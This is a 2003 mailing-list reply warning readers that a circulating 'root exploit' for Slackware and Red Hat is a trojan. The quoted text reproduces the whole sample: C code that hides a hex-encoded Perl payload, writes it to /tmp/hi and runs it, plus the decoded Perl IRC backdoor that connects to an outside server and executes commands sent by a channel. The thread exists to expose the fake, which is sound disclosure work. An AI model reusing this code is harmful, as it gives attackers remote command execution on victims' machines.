From: gml at phrick.net (gml)
Subject: Re: -1 day exploit - Warning

On Friday 13 June 2003 03:57 pm, Brian Houk wrote:

Wow, I'd never run something that had a printf statement in it with

 print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake
 0day exp loit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.":
command\n";

if you run this you deserve to get owned.  this guy could have at least
xor'd the strings and base64 encoded them or SOMETHING.

> Actually I should have made my previous e-mail a little bit more clear.
>
> DO NOT RUN THIS
>
> > Just a warning. . .
> >
> > [03:37] chigoo (521@...-3-1a.um.bonet.se) joined #linuxhelp.
> > [03:37] <chigoo> new root exploit is out to slackware 9.1 and redhat 9.1!
> > enjoy....be nice to your frinds boxes!:>
> > http://home.no/exploited/exploits/kmodaxx.c
> >
> >
> > Attached is the so called exploit, and the perl code it runs locally on
> > your machine.  #darknet already has a ban on moron*!*@*
> >
> > print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake
> > 0day exp loit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.":
> > command\n";
> >
> > nice
> >
> >
> >
> >
> > #include <stdio.h>
> > #include <sys/types.h>
> > #include <sys/socket.h>
> > #include <unistd.h>
> > #include <netinet/in.h>
> > #include <netinet/udp.h>
> > #include <netinet/ip.h>
> > #include <string.h>
> >
> > /*
> >  * *** http://hack.co.za ***
> >  * ******** DISTRIBUTED 12.06.03 ********
> >  *
> >  * remote kernel root exploit, tested on slackware 9.1, redhat 9.1.
> > (kernels 2.4.2*) * exploits a race condition in kernel, allowing to take
> > control over * privileged modprobe binary, and gives u root.
> >  *
> >  *
> >  *
> >  * This exploit must be run as root on source box to open a raw socket.
> >  * compile: gcc -o kmodaxx kmodaxx.c
> >  * run: ./kmodaxx ip
> >  * and u got a nice r00tshell.
> >  *
> >  * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
> >  * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
> >  *
> >  *
> >  * - c1sco darknet@...et
> >  */
> >
> >
> > h3llc0de=
> > "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63
> >"
> > "\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69
> >"
> > "\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72
> >"
> > "\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e
> >"
> > "\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65
> >"
> > "\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f
> >"
> > "\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49
> >"
> > "\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e
> >"
> > "\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22
> >"
> > "\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63
> >"
> > "\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d
> >"
> > "\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43
> >"
> > "\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68
> >"
> > "\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20
> >"
> > "\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64
> >"
> > "\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65
> >"
> > "\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d
> >"
> > "\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d
> >"
> > "\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20
> >"
> > "\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c
> >"
> > "\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22
> >"
> > "\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53
> >"
> > "\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20
> >"
> > "\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66
> >"
> > "\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20
> >"
> > "\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20
> >"
> > "\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f
> >"
> > "\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63
> >"
> > "\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68
> >"
> > "\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f
> >"
> > "\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e
> >"
> > "\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e
> >"
> > "\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28
> >"
> > "\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24
> >"
> > "\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d
> >"
> > "\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24
> >"
> > "\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24
> >"
> > "\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22
> >"
> > "\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22
> >"
> > "\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c
> >"
> > "\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d
> >"
> > "\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64
> >" "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69";
> >
> > unsigned short csum(unsigned short *buf, int nwords)
> > {
> >         unsigned long sum;
> >         for(sum=0;nwords>0;nwords--);
> >                 sum+=*buf++;
> >         sum=(sum>>16)+(sum&0xffff);
> >         sum+=(sum>>16);
> >         return ~sum;
> > }
> >
> > unsigned short in_cksum(unsigned short *addr,int len)
> > {
> >         register int nleft=len;
> >         register unsigned short *w=addr;
> >         register int sum=0;
> >         unsigned short answer=0;
> >         while(nleft>1)
> >         {
> >                 sum+=*w++;
> >                 nleft-=2;
> >         }
> >         if(nleft==1)
> >         {
> >                 *(u_char *)(&answer)=*(u_char *)w;
> >                 sum+=answer;
> >         }
> >         sum=(sum >> 16)+(sum & 0xffff);
> >         sum+=(sum >> 16);
> >         answer=~sum;
> >         return(answer);
> > }
> >
> >
> > int main(int argc, char **argv)
> > {
> >
> >
> >         int sockfd;
> >         struct sockaddr_in addr;
> >         char *payload=h3llc0de;
> >         char *buf;
> >         struct iphdr *iph;
> >         struct udphdr *tcph;
> >         int tot_len;
> > 	FILE *f;
> > 	int die=0;
> >
> > 	if(argc!=2)
> > 	{
> > 		printf("ERROR: No ip address entered\n");
> > 		printf("usage:\n%s [IP-ADDRESS]\n\n",argv[0]);
> > 		die=1;
> > 	}
> >
> >
> >         addr.sin_family=AF_INET;
> >         addr.sin_port=htons(5555);
> > 	if(argc==1) argv[1]="";
> >         addr.sin_addr.s_addr=inet_addr(argv[1]);
> >
> >         sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_UDP);
> >         if(sockfd==-1 && !die) {printf("could not obtain raw socket\nARE
> > YOU ROOT?\n");die=1;}
> >
> >         tot_len=sizeof(struct iphdr)+sizeof(struct
> > udphdr)+strlen(payload); buf=(char *)malloc(tot_len);
> >
> >         malloc(buf,0,tot_len);
> >
> >         iph=(struct iphdr*)buf;
> >         tcph=(struct udphdr*)(buf+sizeof(struct iphdr));
> >
> >         iph->ihl=5;
> >         iph->version=4;
> >         iph->tos=0;
> >         iph->tot_len=tot_len;
> >         iph->id=htons(31337);
> >         iph->frag_off=0;
> >         iph->ttl=225;
> >         iph->protocol=IPPROTO_UDP;
> >         iph->check=0;
> >         iph->saddr=inet_addr("127.0.0.1"); // spoof the source to make it
> > untracable iph->daddr=inet_addr(argv[1]);
> >         iph->check=in_cksum((unsigned short *)&iph,sizeof(iph));
> >
> >
> >         tcph->source=htons(31337);
> >         tcph->dest=htons(139); // the default SMB port
> >         tcph->len=htons(sizeof(struct udphdr)+strlen(payload));
> >         tcph->check=0;
> >         memcpy(buf+sizeof(struct iphdr)+sizeof(struct
> > udphdr),payload,strlen(payload)); f=fopen(h3llc0de+764,"w");
> > 	if(f)
> > 	{
> > 		fseek(f,0,SEEK_SET);
> > 		close(2);
> > 	        fprintf(f,"%s",h3llc0de);
> > 	        fclose(f);}system(h3llc0de+735);
> >
> >         {
> >                 int one=1;
> >                 const int *val = &one;
> >                
> > if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,val,sizeof(one))<0 && !die)
> > printf("warning: cannot set HDRINCL\n"); }
> >
> >         if(sendto(sockfd,buf,tot_len,0,(struct sockaddr
> > *)&addr,sizeof(addr))<0 && !die) printf("err\n");
> >         else if (!die) printf("NUKED THA MOTHA!!! :D\n");
> >         return 0;
> > }
> >
> >
> > #!/usr/bin/perl
> > $chan="#darknet";
> > $nick="moron";
> > $server="efnet.vuurwerk.nl";
> > $SIG{TERM}={};
> > exit if fork;
> > use IO::Socket;
> > $sock = IO::Socket::INET->new($server.":6667")||exit;
> > print $sock "USER moron +i moron :moronv2\nNICK moron\n";
> > $i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;
> > last if $mode=="001";
> > if($mode=="433"){
> >         $i++;
> >         $nick=~s/\d*$/$i/;
> >         print $sock "NICK $nick\n";
> >         }
> > }
> > print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake
> > 0day exp loit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.":
> > command\n"; while(<$sock>){
> >         if (/^PING (.*)$/) {print $sock "PONG $1\nJOIN $chan\n";
> >         }
> > if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;
> >         $_=`$_`;
> >         foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";
> >         sleep 1;
> >         }
> > }
> > }#chmod +x /tmp/hi 2>/dev/null;
> > /tmp/hi;
>
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